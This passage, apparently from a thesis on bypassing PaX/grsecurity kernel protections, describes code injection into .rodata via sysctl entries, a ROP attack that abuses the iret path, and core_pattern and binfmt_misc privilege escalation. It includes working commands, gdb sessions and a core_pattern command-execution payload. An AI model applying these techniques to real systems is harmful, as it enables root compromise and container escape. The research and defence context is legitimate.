unsigned long rodata_end = PFN_ALIGN(&__end_rodata);
#endif
unsigned long all_end;
kernel_set_to_readonly = 1;
printk(KERN_INFO "Write protecting the kernel read-only"
"data: %luk\n", (end - start) >> 10);
set_memory_ro(start, (end - start) >> PAGE_SHIFT);
/*
* The rodata/data/bss/brk section (but not the kernel text!)
* should also be not-executable.
*
* [...]
*
*/
all_end = roundup((unsigned long)_brk_end, PMD_SIZE);
set_memory_nx(text_end, (all_end - text_end) >> PAGE_SHIFT);
Listing 40: .rodata is left as executable when KERNEXEC is enabled
When CONFIG_DEBUG_RODATA=y (since kernel version 4.11 the configuration
item was renamed to CONFIG_STRICT_KERNEL_RWX), the mark_rodata_ro()
(listing 40) routine from above (defined in arch/x86/mm/init_64.c) is responsible for,
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as the name indicates, marking to be made read-only data as read-only in kernel_init()
(init/main.c). From the above listing, when CONFIG_PAX_KERNEXEC=y, the
text_end variable (which is originally used to specify the end of the .text section) is
changed and modified to the start of the .data section, specified by _sdata. This leaves
the .rodata section out when set_memory_nx() is called, the routine that marks all
memory as non-executable starting from the address specified by the first argument
(text_end) and the following number of pages as specified by the second argument.
In short, this means that the .rodata section will be left as executable. While there
doesn’t seem to be any security implications from such decision since attackers aren’t
able to modify such data (it is read-only), it turns out that, in some cases, some of
this data can actually be written to with attacker-controlled values if an attacker has
already obtained root privileges, being useful for rootkit loading and guest-to-host
escapes when kernel module loading is disabled, i.e., kernel.modules_disabled = 1,
CONFIG_GRKERNSEC_KMEM=y, etc.
On PaX/grsecurity systems, the __read_only attribute is used to change the
location of mostly critical data objects that either do not need to be modified at all or
need to be written to not so often (by disabling write-protection via pax_open_kernel()
and enabling it again via pax_close_kernel()) into .rodata, preventing tampering from
malicious attackers with strong exploitation primitives, thus reducing the kernel’s
attack surface. One of the uses of the __read_only attribute is in grsecurity’s /proc en-
tries, i.e., /proc/sys/kernel/grsecurity/*, when CONFIG_GRKERNSEC_SYSCTL=y,
which allows modifying kernel parameters at runtime instead of at compile time. In
grsecurity/grsec_sysctl.c, an array of struct ctl_table (grsecurity_table[]) was created
in order for these sysctl entries to be added. The designated initializer of, e.g., the
harden_tty entry in the array, is:
struct ctl_table grsecurity_table[] = {
#ifdef CONFIG_GRKERNSEC_HARDEN_TTY
{
.procname = "harden_tty",
.data = &grsec_enable_harden_tty,
.maxlen = sizeof(int),
.mode = 0600,
.proc_handler = &proc_dointvec_secure,
},
#endif
Listing 41: harden_tty entry
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When writing integer values into harden_tty, the data pointer (listing 41) contains
the address of grsec_enable_harden_tty, defined in grsecurity/grsec_init.c as:
int grsec_enable_harden_tty __read_only;
Listing 42: Use of the __read_only attribute
Since the __read_only attribute is used (listing 42), grsec_enable_harden_tty is
stored in .rodata (read-only and executable). In order to actually write into it, the
proc_handler proc_dointvec_secure() (from kernel/sysctl.c) calls do_proc_dointvec()
with do_proc_ dointvec_conv_secure() passed as an argument for the conv function
pointer, which will later use the pax_open_kernel() and pax_close_kernel() macros to
native_pax_open_kernel() and native_pax_close_kernel() routines in order to perform
the actual write:
static int do_proc_dointvec_conv_secure(bool *negp,
unsigned long *lvalp,
int *valp,
int write, void *data)
{
if (write) {
if (*negp) {
if (*lvalp > (unsigned long) INT_MAX + 1)
return -EINVAL;
pax_open_kernel();
*valp = -*lvalp;
pax_close_kernel();
} else {
if (*lvalp > (unsigned long) INT_MAX)
return -EINVAL;
pax_open_kernel();
*valp = *lvalp;
pax_close_kernel();
}
} [...]
return 0;
}
Listing 43: Writing into .rodata
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Before the write, we can see (listing 43) that the pax_open_kernel() macro is used
and after the write, pax_close_kernel() macro is used. The native_pax_open_kernel()
and native_pax_close_kernel() are defined in arch/x86/include/asm/pgtable.h as:
#ifdef CONFIG_PAX_KERNEXEC
static inline unsigned long native_pax_open_kernel(void)
{
unsigned long cr0;
preempt_disable();
barrier();
cr0 = read_cr0() ^ X86_CR0_WP;
BUG_ON(cr0 & X86_CR0_WP);
write_cr0(cr0);
barrier();
return cr0 ^ X86_CR0_WP;
}
static inline unsigned long native_pax_close_kernel(void)
{
unsigned long cr0;
barrier();
cr0 = read_cr0() ^ X86_CR0_WP;
BUG_ON(!(cr0 & X86_CR0_WP));
write_cr0(cr0);
barrier();
preempt_enable_no_resched();
return cr0 ^ X86_CR0_WP;
}
#else
[...]
#endif
Listing 44: Toggling CR0.WP
The native_pax_open_kernel() function (listing 44) mainly toggles the write-protect
(WP) bit (16) from control register CR0, which allows the read-only protection to be
disabled regardless of the page table permissions, effectively allowing writes to such
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memory when the privilege level is 0. The remaining code ensures that preemption is
disabled. However, there’s still the problem of interrupts occurring while the WP bit
was unset. This problem is handled at interrupt entry, ensuring that the kernel does not
run with the WP bit unset in such cases, restoring its original state on interrupt returns
(see e.g., pax_enter/exit_kernel_nmi in arch/x86/entry/entry_64.S). Alternatively,
native_pax_close_kernel() function reverses the operation by toggling the CR0.WP
bit again in order to enable write-protection and enables preemption.
While the majority of grsecurity’s /proc/sys/kernel/grsecurity/* entries could have
been disabled by writing a 0 and enabled by writing a 1 (by specifying the .extra1
= &zero and .extra2 = &one designated initializers in grsecurity_table[]), users can
specify an arbitrary integer value and, any entry that is not 0, means that it is enabled.
Because .rodata is executable, by writing arbitrary integer values, attackers are able to
write a magic number (or ID) followed by arbitrary executable code, thus faking an
internal kernel function. Since integers are 4 bytes in size, attackers are only able to
write 4 bytes at a time to each of these entries. Also, these entries are all consecutive
in memory, which allows injecting the magic number and the attacker-chosen code
immediately after, as required by the relevant RAP instrumented code checks.
(gdb) p &grsec_enable_chroot_nice
$2 = (int *) 0xffffffff82241464 <grsec_enable_chroot_nice>
(gdb) x/x 0xffffffff82241464
0xffffffff82241464 <grsec_enable_chroot_nice>: 0x00000001
(gdb)
0xffffffff82241468 <grsec_enable_chroot_mknod>: 0x00000001
(gdb)
0xffffffff8224146c <grsec_enable_chroot_chmod>: 0x00000001
(gdb)
0xffffffff82241470 <grsec_enable_chroot_chdir>: 0x00000001
(gdb)
0xffffffff82241474 <grsec_enable_chroot_pivot>: 0x00000001
(gdb)
0xffffffff82241478 <grsec_enable_chroot_double>: 0x00000001
Listing 45: grsecurity’s sysctl entries are consecutive in memory
As we can see (listing 45), grsecurity’s sysctl entries are present linearly in memory,
although some entries might not exist due to the users configuration at compile time.
To demonstrate that code injection is possible, we’ll start by writing the magic number
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for a function pointer of type void(*)(void). To do this, we can simply echo integers
into the entries, for example:
# id
uid=0(root) gid=0(root)
# pwd
/proc/sys/kernel/grsecurity
# echo 610439673 > chroot_restrict_nice # type hash
# echo 0 > chroot_deny_mknod # type hash
# echo 2831 > chroot_deny_chmod # ud2
Listing 46: Constructing a fake kernel function with an appropriate type hash
(gdb) x/x 0xffffffff82241464
0xffffffff82241464 <grsec_enable_chroot_nice>: 0x246291f9
(gdb)
0xffffffff82241468 <grsec_enable_chroot_mknod>: 0x00000000
(gdb)
0xffffffff8224146c <grsec_enable_chroot_chmod>: 0x00000b0f
(gdb) x/i 0xffffffff8224146c
0xffffffff8224146c <grsec_enable_chroot_chmod>: ud2
Listing 47: Fake kernel function is constructed in .rodata
When corrupting any function pointer of type void(*)(void) with the address of the
injected ud2 instruction (undefined instruction, raises invalid opcode exception), we
can observe that a kernel panic occurs with the instruction pointer pointing into the
ud2 instruction, proving that it was executed.
[ 58.184833] invalid opcode: 0000 [#1] SMP
[...]
[ 58.184833] RIP: 0010:[<ffffffff8224146c>]
Listing 48: Invalid opcode exception is raised
In cases where a sysctl entry doesn’t exist, attackers might want to inject a relative
jmp instruction into the next existing sysctl entry.
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It is important to note that this specific method of injecting code via grsecurity’s
sysctl entries can only work when the grsec_lock entry is 0. The grsec_lock entry
ensures that, when set to a non-zero value, all entries can’t be written to anymore
and are, therefore, immutable. The help of CONFIG_GRKERNSEC_SYSCTL clearly
states that it is *EXTREMELY IMPORTANT* that all options should be set at
startup and the grsec_lock entry should be set to a non-zero value after all options are
set. However, there’s no mention anywhere that it can be used to inject executable
code. In any case, the PaX Team should consider marking .rodata as non-executable,
just like the vanilla Linux kernel has been doing for quite some time with the proper
configuration. While we have no access to the private version of the PaX/grsecurity
patches, the situation might even be worse there, as the ability to inject executable
code relies on KERNEXEC and the __read_only attribute, which might have been
expanded and used extensively across more kernel data over time, though at this point,
it’s simply speculation.
3.3 ROP: RIP RAP
"Ever seen a ROP chain against RAP? oh wait, i see it now, april’s fool day, sorry
for the noise ;)" - PaX Team
In an attempt to come up with a generic exploitation technique against PaX/gr-
security systems (i.e., independent of the user’s PaX/grsecurity’s configuration) that
would lead into reviving ROP, it was noticed that the public version of RAP (or any
other public PaX kernel patch) does not protect returns (specifically, the iret path)
when a system call has finished executing and would now transition back to user
mode. Program control transfers can be carried out by several instructions, such as
JMP, CALL, RET, SYSENTER, SYSEXIT, SYSCALL, SYSRET, INT n, and IRET
instructions, yet, only CALL and RET instructions are protected (see enable_type_ret
and enable_type_call in scripts/gcc-plugins/rap_plugin/rap_plugin.c). Whenever a
syscall instruction is executed, it saves the CPU register %rip (instruction pointer) into
%rcx, loads %rip from the IA32_LSTAR MSR (Model Specific Register), saves rflags
to %r11, then loads the new %cs (code segment selector) from IA32_STAR[47:32], the
%ss (stack segment selector) by adding 8 to the value in IA32_STAR[47:32] and rflags
by performing a logical-AND of its current value with the complement of the value in
the IA32_FMASK MSR. The syscall instruction does not save %rsp (stack pointer).
The entry point used for 64-bit system calls in the Linux kernel is entry_SYSCALL_64
from arch/x86/entry/entry_64.S and constructs a struct pt_regs on the kernel stack:
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struct pt_regs {
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long bp;
unsigned long bx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long ax;
unsigned long cx;
unsigned long dx;
unsigned long si;
unsigned long di;
unsigned long orig_ax;
/* Return frame for iretq */
unsigned long ip;
unsigned long cs;
unsigned long flags;
unsigned long sp;
unsigned long ss;
};
Listing 49: struct pt_regs
ENTRY(entry_SYSCALL_64)
/*
* Interrupts are off on entry.
* We do not frame this tiny irq-off block with
* TRACE_IRQS_OFF/ON, it is too small to ever cause
* noticeable irq latency.
*/
SWAPGS_UNSAFE_STACK
/*
* A hypervisor implementation might want to use a label
* after the swapgs, so that it can do the swapgs
66 CHAPTER 3. REUSE ATTACK PROTECTOR
* for the guest and jump here on syscall.
*/
GLOBAL(entry_SYSCALL_64_after_swapgs)
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
TRACE_IRQS_OFF
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp,
bx, r12-15
not saved */
#ifdef CONFIG_PAX_KERNEXEC_PLUGIN_METHOD_OR
movq %r12, R12(%rsp)
#endif
Listing 50: pt_regs is constructed on the kernel stack at system call entry
On the exit path of a system call, the struct pt_regs stored on the kernel stack is
used to restore the registers before returning into user mode.
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.macro RESTORE_C_REGS_HELPER rstor_rax=1, rstor_rcx=1,
rstor_r11=1, rstor_r8910=1,
rstor_rdx=1, rstor_r12=1
#ifdef CONFIG_PAX_KERNEXEC_PLUGIN_METHOD_OR
.if \rstor_r12
movq R12(%rsp), %r12
.endif
#endif
.if \rstor_r11
movq R11(%rsp), %r11
.endif
.if \rstor_r8910
movq R10(%rsp), %r10
movq R9(%rsp), %r9
movq R8(%rsp), %r8
.endif
.if \rstor_rax
movq RAX(%rsp), %rax
.endif
.if \rstor_rcx
movq RCX(%rsp), %rcx
.endif
.if \rstor_rdx
movq RDX(%rsp), %rdx
.endif
movq RSI(%rsp), %rsi
movq RDI(%rsp), %rdi
.endm
Listing 51: CPU registers are restored from the kernel stack on system call exit
All of this means that if, during a system call, an attacker is able to corrupt the
pt_regs structure living on the kernel stack, then he may overwrite the saved pt_regs-
>ip with an arbitrary kernel address (thus instruction, aligned or unaligned), the saved
pt_regs->sp with the address where the ROP payload lives, the saved pt_regs->cs
with __KERNEL_CS (0x10), and the saved pt_regs->ss with __KERNEL_DS
(0x18). In cases where the ptrace() interface is allowed and a PTRACE_SETREGS
request is made (ptrace()’s first argument), an attacker can (legitimately) control on
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syscall entry the tracee’s saved registers in the pt_regs struct present in its kernel stack,
so one is able to modify pt_regs->ip and pt_regs->sp without memory corruption,
although pt_regs->cs and pt_regs->ss still need to be modified via memory corruption.
Otherwise, pt_regs->sp may also be controlled by executing a stack pivoting gadget.
Since the adversary arbitrarily controls the saved %rip, the saved %rsp, the saved %cs
and the saved %ss, when the iret instruction is executed, control-flow is hijacked, ROP
becomes possible and so does arbitrary code execution. The iret instruction requires
the following stack setup:
Figure 3.1: Expected stack frame layout at the time of an iret instruction [60]
The iret instruction (used with the rex.W prefix for 64-bit mode operation) returns
program control from an exception or interrupt handler to a program or procedure
that was interrupted by an exception, an external interrupt, or a software-generated
interrupt [61]. In this specific case, the instruction is intended for an inter-privilege-
level return, i.e., a transition to another (less privileged) privilege level (from kernel
mode to user mode). However, by overwriting and controlling the values that are
popped from the kernel stack by the instruction (figure 3.1) into the appropriate CPU
registers (instruction pointer, code segment selector, status register, stack pointer and
stack segment selector), we can turn this instruction into performing an unintended
intra-privilege-level return, i.e., a return within the same privilege level.
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(gdb) b return_from_SYSCALL_64
Breakpoint 1 at 0xffffffff8193b657: arch/x86/entry/entry_64.S,
line 656.
(gdb) c
Continuing.
Warning: not running or target is remote
Breakpoint 1, return_from_SYSCALL_64() arch/x86/entry/entry_64.S
656 pax_exit_kernel_user
(gdb) set *&((struct pt_regs *)$rsp)->cs = 0x10
(gdb) set *&((struct pt_regs *)$rsp)->ss = 0x18
(gdb) set *&((struct pt_regs *)$rsp)->ip = 0xffffffff8173b6bd
(gdb) set *&((struct pt_regs *)$rsp)->sp = $rsp+0x2000
(gdb) b native_iret
Breakpoint 2 at 0xffffffff8193c180: arch/x86/entry/entry_64.S
(gdb) c
Continuing.
Warning: not running or target is remote
Breakpoint 2, native_irq_return_iret() arch/x86/entry/entry_64.S
1035 iretq
(gdb) x/i $pc
=> 0xffffffff8193c180 <native_irq_return_iret>: rex.W iret
(gdb) x/10xw $rsp
0xffffc900004f3fc8: 0x8173b6bd 0xffffffff 0x00000010 0x00000000
0xffffc900004f3fd8: 0x00000246 0x00000000 0x004f5f48 0xffffc900
0xffffc900004f3fe8: 0x00000018 0x00000000
(gdb) stepi
Warning: not running or target is remote
native_read_cr0() at ./arch/x86/include/asm/special_insns.h:26
26 asm volatile("mov %%cr0,%0\n\t"
: "=r" (val), "=m" (__force_order));
(gdb) x/i $pc
=> 0xffffffff8173b6bd <native_pax_open_kernel+22>: mov rax,cr0
Listing 52: Control-flow hijacking into arbitrary kernel space via iret
Because the system call exit iret path assumes that it will return to user mode, a
swapgs instruction is executed before the actual iretq instruction:
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opportunistic_sysret_failed:
SWAPGS
jmp restore_c_regs_and_iret
[...]
restore_c_regs_and_iret:
RESTORE_C_REGS
REMOVE_PT_GPREGS_FROM_STACK 8
INTERRUPT_RETURN
Listing 53: SWAPGS is executed before the iret instruction
This means that one of the first ROP gadgets an attacker should execute is a swapgs;
ret; gadget, so that the %gs base register value is swapped once again and can now
be used as a prefix on normal memory references to access kernel data structures. A
wrong %gs base register value will result in a kernel panic if the %gs prefix is ever used.
In order to perform the mentioned technique, an attacker must have the ability
to read arbitrarily from kernel memory and be able to, at least, corrupt kernel stack
memory, e.g., a classical linear stack-based buffer overflow is sufficient (pt_regs’s
members are the first values pushed onto the kernel stack on system call entry, see
listing 50). The arbitrary read is necessary due to kernel image diversity, since not
every user uses the same configuration options (nor compiler version, though reading
/proc/version can be used for its identification), which can add and/or remove code,
and to be able to ensure the integrity of the kernel stack, e.g., data and return addresses
that are used before the syscall exit iret path. For the private set of PaX patches and
RAP, the original RAP presentation [6] mentions that kernel stacks are unreadable
by making use of a per-CPU PGD, which prevents cross-task information leaks and
corruption (this effectively kills the exploitation technique where an attacker would
read the kernel stack of another task and corrupt it while it’s in a system call). It also
mentions that the RAP cookie changes per task, per system call and per iteration in
selected infinite loops. This means that we can no longer use a linear stack-based buffer
overflow to corrupt several kernel stack frames in order to eventually hit and modify
the saved user registers (pt_regs). Leaking the RAP cookie in one system call and
making use of the leaked cookie for the system call that corrupts kernel stack memory
is therefore useless, since it has already changed. The only hope that attackers have is
a kernel stack relative write, where the exploit task solely modifies its own iretq stack
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setup, i.e., pt_regs->ip, pt_regs->sp, pt_regs->cs and pt_regs->ss, thus ensuring the
integrity of the rest of the kernel stack.
On a post-Meltdown [62] world, Kernel Page-Table Isolation (KPTI), i.e., CON-
FIG_PAGE_TABLE_ISOLATION=y, limits the set of available gadgets that an
attacker can use. PaX/grsecurity enhanced UDEREF (available only in the private
version) for this matter and it’s a full replacement for the vanilla’s KPTI mitigation.
Since we have no way to inspect the enhanced UDEREF, we will examine the attack
under KPTI. After KPTI’s analysis, we will make several assumptions on how it could
work against the PaX Team’s enhanced UDEREF. Due to KPTI, before the kernel
returns to user mode, the system call exit path replaces the PGD currently in use with
a second PGD that lacks kernel-space mappings, though a minimal set of kernel-space
mappings must exist in order to handle system calls, interrupts, etc. Alternatively,
when entering the kernel, the entry points must switch back to the kernel PGD, making
the rest of the kernel mappings available.
Figure 3.2: User mode page tables contain a minimal set of kernel space mappings [63]
Obviously, this means that when attackers are able to hijack the kernel’s control-flow
via the mentioned technique, they can only return into the mapped portion of the
kernel. The attacker’s ROP payload (located at the now-corrupted pt_regs->sp) at the
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time of the iretq instruction will be unmapped, therefore any access to the unmapped
region will trigger a page fault, leading into a kernel panic. The solution for this
problem is to simply execute existing code from the mapped portion of the kernel that
allows adversaries to map the whole kernel once again, so that when the ret instruction
is executed, all kernel mappings exist and control-flow can now be transferred into the
attacker’s ROP payload. The specific code that achieves the above method is presented
below (from arch/x86/entry/entry_64.S):
ENTRY(paranoid_entry)
[...]
SWAPGS
xorl %ebx, %ebx
1:
SAVE_AND_SWITCH_TO_KERNEL_CR3 scratch_reg=%rax save_reg=%r14
ret
Listing 54: SWAPGS and SWITCH_TO_KERNEL_CR3
.macro SAVE_AND_SWITCH_TO_KERNEL_CR3 scratch_reg:req save_reg:req
ALTERNATIVE "jmp .Ldone_\@", "", X86_FEATURE_PTI
movq %cr3, \scratch_reg
movq \scratch_reg, \save_reg
bt $PTI_USER_PGTABLE_BIT, \scratch_reg
jnc .Ldone_\@
ADJUST_KERNEL_CR3 \scratch_reg
movq \scratch_reg, %cr3
.Ldone_\@:
.endm
Listing 55: Contain kernel’s PGD in CR3
From listing 54, we can see that paranoid_entry has the perfect sequence of instruc-
tions that addresses all of our problems. We have a swapgs instruction (the xorl %ebx,
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%ebx instruction is irrelevant) and the SAVE_AND_SWITCH_TO_KERNEL_CR3
macro (listing 55) modifies control register CR3 in order to switch to the kernel’s PGD
(the rest of the kernel becomes mapped) and because paranoid_entry’s return does
not make use of the deterministic type-hash based RAP protection, i.e., the ENTRY
macro is used versus RAP_ENTRY, the ret instruction is executed without any prior
checks, therefore, one can now redirect the kernel’s code execution into the attacker’s
specially crafted ROP payload.
As for the same attack under the enhanced PaX UDEREF, it’s known that the
original version of UDEREF (for amd64 ) [64] is simply the inversion of KPTI, i.e.,
unmaps userland on userland->kernel transitions instead of unmapping the kernel on
kernel->userland transitions. The first assumption that we make is that the enhanced
version of UDEREF now unmaps the kernel on kernel->userland transitions, just like
KPTI (implementation details are irrelevant). The second assumption that we make
(for demonstration purposes) is that the mapping of the rest of the kernel is done at
pax_enter_kernel_user, since it was originally responsible for unmapping userland
on kernel entry. This later assumption does not need to be true, any other macro (or
label) responsible for mapping the rest of the kernel would work.
ENTRY(paranoid_entry)
[...]
jz 1f
pax_enter_kernel_user
jmp 2f
#endif
1: pax_enter_kernel
2:
pax_ret paranoid_entry
ENDPROC(paranoid_entry)
Listing 56: Use of pax_enter_kernel_user in paranoid_entry
As we can see from listing 56, by returning into pax_enter_kernel_user, attackers
could map the rest of the kernel again (as per our second assumption) before the
ret instruction is executed, allowing the redirection of code into the attacker’s ROP
payload. This time, the swapgs instruction isn’t executed, though it can be executed
by a ROP gadget.
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By ensuring at the system call exit iret path that the saved code segment selector
(%cs) can’t specify a Current Privilege Level (CPL) other than CPL=3 (by checking
whether the two least significant bits of the saved %cs are set), attackers can no longer
return into kernel space. In fact, such check is present in the Linux kernel, introduced
by commit 26c4ef9c49d8a0341f6d97ce2cfdd55d1236ed29 (from November 2, 2017):
+GLOBAL(restore_regs_and_return_to_usermode)
+#ifdef CONFIG_DEBUG_ENTRY
+ /* Assert that pt_regs indicates user mode. */
+ testl $3, CS(%rsp)
+ jnz 1f
+ ud2
+1:
+#endif
+ RESTORE_EXTRA_REGS
+ RESTORE_C_REGS
+ REMOVE_PT_GPREGS_FROM_STACK 8
+ INTERRUPT_RETURN
+
Listing 57: Ensuring that the saved %cs indicates user mode
However, this test is only present if CONFIG_DEBUG_ENTRY=y, which is not
set on most configurations. The help text related to the configuration option states
that:
"This option enables sanity checks in x86’s low-level entry code. Some of these
sanity checks may slow down kernel entries and exits or otherwise impact performance.
If unsure, say N". [65]
Even in the presence of the above check (listing 57), it is clear that intra-privilege-
level returns are still subject to control-flow hijacking. For example, interrupt handlers
have their own per-CPU IRQ (Interrupt Request) stacks in the (global) .data section.
Historically, interrupt handlers would share and use the kernel stack of the task it
interrupted, however, in such setup, they would have to be extremely frugal with
the data they allocated there. Interrupt handlers are executed when the kernel is in
interrupt context, i.e., it is not associated with a task, therefore, the unreadable kernel
stack feature (prevents cross-task information leaks and corruption) is insufficient.
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+GLOBAL(restore_regs_and_return_to_kernel)
+#ifdef CONFIG_DEBUG_ENTRY
+ /* Assert that pt_regs indicates kernel mode. */
+ testl $3, CS(%rsp)
+ jz 1f
+ ud2
+1:
+#endif
[...]
INTERRUPT_RETURN
Listing 58: Interrupt handlers may return to kernel space via iret
In conclusion, the above demonstrated exploitation technique is able to achieve
out-of-intended-order execution (code-reuse/*OP) on the last public PaX/grsecurity
patched Linux kernel with all of its defenses enabled. As for the private versions, there’s
no clear indication that the very same exploitation technique wouldn’t work, that is,
none of the available information regarding the private version of RAP specifies how
inter/intra-privilege-level returns are handled (protected), a must in order to ensure
the end of ROP. When requesting access for the private set of PaX/grsecurity patches,
we were told that for our evaluation the last public test patch would suffice.
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Chapter 4
Non-control data attacks
While RAP does not entirely eliminate (2), i.e., the execution of existing code out
of original program order (more precisely, it reduced its effectiveness), from this point
forward, we’ll assume the actual end of arbitrary code execution in kernel context. All
of the following attacks will therefore corrupt solely kernel data (3), without arbitrary
code execution in mind, in order to come up with a few not so commonly seen techniques
for the last standing exploit technique category, while assuming an arbitrary read/write
memory access threat model.
4.1 core_pattern
When signals are sent to a process, a subset of them have the action (disposition) to
cause the receiving process to terminate and produce a core dump, a file containing the
image of the process’ memory at the time of termination. This file can be inspected by
a debugger, such as gdb, to inspect the program at the time that it terminated. An
obvious example of a signal that produces a core dump file would be SIGSEGV (invalid
memory reference). Traditionally, the name of the core dump file is simply core, but
since Linux 2.6 and 2.4.21, the /proc/sys/kernel/core_pattern entry can be written to
define a template that is used to alternatively name core dump files (see core(5)). Since
Linux kernel 2.6.19, the /proc/sys/kernel/core_pattern entry allows piping core dumps
to a program via an alternate syntax, that is, if the first character of this entry is a
pipe ’|’, the rest of the line is interpreted as a user space program (an absolute path
or a path relative to the root directory ’/’ must be given with respect to the initial
mount namespace) that is to be executed as user and group root, which receives the
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core dump as standard input, and the RLIMIT_CORE limit is not enforced in this
case. This process runs in the initial namespaces, e.g., PID, mount, user, etc., and not
in the namespaces of the crashing process. Also, since Linux 2.6.24, command-line
arguments can also be supplied to the program delimited by a white space.
This in turn means that an unprivileged attacker with an arbitrary read/write
primitive under PaX/grsecurity can corrupt the global core_pattern array (located
in the writable .data section) in order to specify a program that is to be executed
with root privileges in the initial namespaces, thus allowing privilege escalation and
sandbox/container breakouts. Under distribution kernels, an arbitrary write is sufficient
(the offset does not change relative to the kernel image’s base address).
However, on PaX/grsecurity systems, when CONFIG_GRKERNSEC=y, attackers
can’t specify an arbitrary program to core_pattern since this configuration option
introduces a white-list which guarantees that a given program will only run if it’s
under a (supposedly) trusted directory when executed via call_usermodehelper*(),
the routine(s) that execute the program specified in core_patern, for example. From
kernel/kmod.c:
static int call_usermodehelper_exec_async(void *data)
{
struct subprocess_info *sub_info = data;
struct cred *new;
int retval;
[...]
#ifdef CONFIG_GRKERNSEC
/* this is race-free as far as userland is concerned as
* we copied out the path to be used prior to this
* point and are now operating on that copy
*/
if ((strncmp(sub_info->path, "/sbin/", 6) &&
strncmp(sub_info->path, "/usr/lib/", 9) &&
strncmp(sub_info->path, "/lib/", 5) &&
strncmp(sub_info->path, "/lib64/", 7) &&
strncmp(sub_info->path, "/usr/libexec/", 13) &&
strncmp(sub_info->path, "/usr/bin/", 9) &&
strncmp(sub_info->path, "/usr/sbin/", 10) &&
strcmp(sub_info->path, "/bin/false") &&
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strcmp(sub_info->path, "/usr/share/apport/apport")) ||
strstr(sub_info->path, "..")) {
printk(KERN_ALERT "grsec: denied exec of usermode "
"helper binary %.950s located "
"outside of permitted system "
"paths\n",
sub_info->path);
retval = -EPERM;
goto out;
}
#endif
[...]
retval = do_execve(getname_kernel(sub_info->path),
(const char __user *const __force_user *)sub_info->argv,
(const char __user *const __force_user *)sub_info->envp);
out:
sub_info->retval = retval;
/*
* call_usermodehelper_exec_sync() will call umh_complete
* if UHM_WAIT_PROC.
*/
if (!(sub_info->wait & UMH_WAIT_PROC))
umh_complete(sub_info);
if (!retval)
return 0;
do_exit(0);
}
Listing 59: grsecurity’s call_usermodehelper*() trusted directories
The above listing (listing 59) tells us that only binaries whose path starts with
/sbin/, /usr/lib/, /lib/, /lib64/, /usr/libexec/, /usr/bin/ or /usr/sbin/ can get executed.
There’s also a check for ".." (parent directory) in the path, in order to prevent its classic
abuse by specifying paths such as /sbin/../home/ghetto/my_program. This white-list
is deemed insufficient in order to stop any attack, since programs under the permitted
paths are enough for arbitrary command/program execution. Imagine the following
core_pattern line:
80 CHAPTER 4. NON-CONTROL DATA ATTACKS
|/usr/bin/python -c
import os;os.system("/usr/bin/id > /tmp/pwned")
Listing 60: Broken core_pattern
Because command-line arguments passed to the program (/usr/bin/python) are de-
limited by white spaces (listing 60), import os;os.system("/usr/bin/id > /tmp/pwned")
would be interpreted as three arguments instead of one, as intended. For demonstration
purposes, the array of argument strings (argv) for /usr/bin/python when do_execve()
is called would be:
argv[0] = "/usr/bin/python"
argv[1] = "-c"
argv[2] = "import"
argv[3] = "os;os.system(\"/usr/bin/id"
argv[4] = ">"
argv[5] = "/tmp/pwned\")"
Listing 61: Broken array of argument strings
Obviously, we need argv[3], argv[4] and argv[5] in argv[2] (listing 61). It is possible
to accomplish that by specifying the following core_pattern line:
|/usr/bin/python -c
z=__import__("os");z.system("/usr/bin/id>/tmp/pwned")
Listing 62: Valid core_pattern
The above line (listing 62) would result in the following array of argument strings:
argv[0] = "/usr/bin/python"
argv[1] = "-c"
argv[2] = "z=__import__(\"os\");z.system(\"/usr/bin/
id>/tmp/pwned\")"
Listing 63: Valid array of argument strings
How can we execute arbitrary commands with command-line arguments if white
spaces aren’t allowed?
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|/usr/bin/python -c
z=__import__("os");z.system("/usr/bin/id${IFS}-u>/tmp/pwned")
Listing 64: Arbitrary command execution via core_pattern
argv[0] = "/usr/bin/python"
argv[1] = "-c"
argv[2] = "z=\_\_import\_\_(\"os\");z.system(\"/usr/bin/
id${IFS}-u>/tmp/pwned\")"
Listing 65: Array of argument strings at the time of arbitrary command execution
By sending a signal to a process that causes it to core dump (and the above
core_pattern is set), we can verify that /tmp/pwned was indeed created with the output
of /usr/bin/id -u
$ ls -l /tmp/pwned
-rw-r--r-- 1 root root 2 xxx xx xx:xx /tmp/pwned
$ cat /tmp/pwned
0
Listing 66: /tmp/pwned contains the output of /usr/bin/id -u
4.2 binfmt_misc
The Linux kernel allows, through its binfmt_misc feature, the ability to recognize
and run arbitrary executable file formats. Whenever an execve() system call is issued,
the kernel expects to find a native binary for the system it is running on. For a long time,
the kernel has recognized various executable file formats, such as files that begin with a
shebang (#!), the sequence of magic bytes that determine that this file is a script. When
such a file is executed, the kernel knows (load_script() in fs/binfmt_script.c) that the
script’s interpreter will immediately follow the shebang in the first line. The interpreter
will then run, taking the rest of the file as its standard input. The miscellaneous binary
format handler allows a flexible and dynamic way of dealing with new binary formats by
allowing runtime configuration via a filesystem mounted on /proc/sys/fs/binfmt_misc.
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It can be done by simply specifying how to recognize the new format, i.e., filename
extension or a sequence of magic bytes at a certain offset (offset needs to be in the
first 128 bytes of the file), and the program’s interpreter which in turn receives the
program’s filename as argv[1].
An attacker coupled with an arbitrary read/write primitive can therefore overwrite
the contents of one of these entries, thus modifying the program’s interpreter and the
specific set of magic bytes being used to identify the binary format (and at which
offset). If the target binary to run has the setuid bit set (with root as owner) and is
identified by a new set of attacker-controlled magic bytes, the new planted interpreter
will then inherit the privileges of the running binary, leading to privilege escalation.
typedef struct {
struct list_head list;
unsigned long flags; /* type, status, etc. */
int offset; /* offset of magic */
int size; /* size of magic/mask */
char *magic; /* magic or filename extension */
char *mask; /* mask, NULL for exact match */
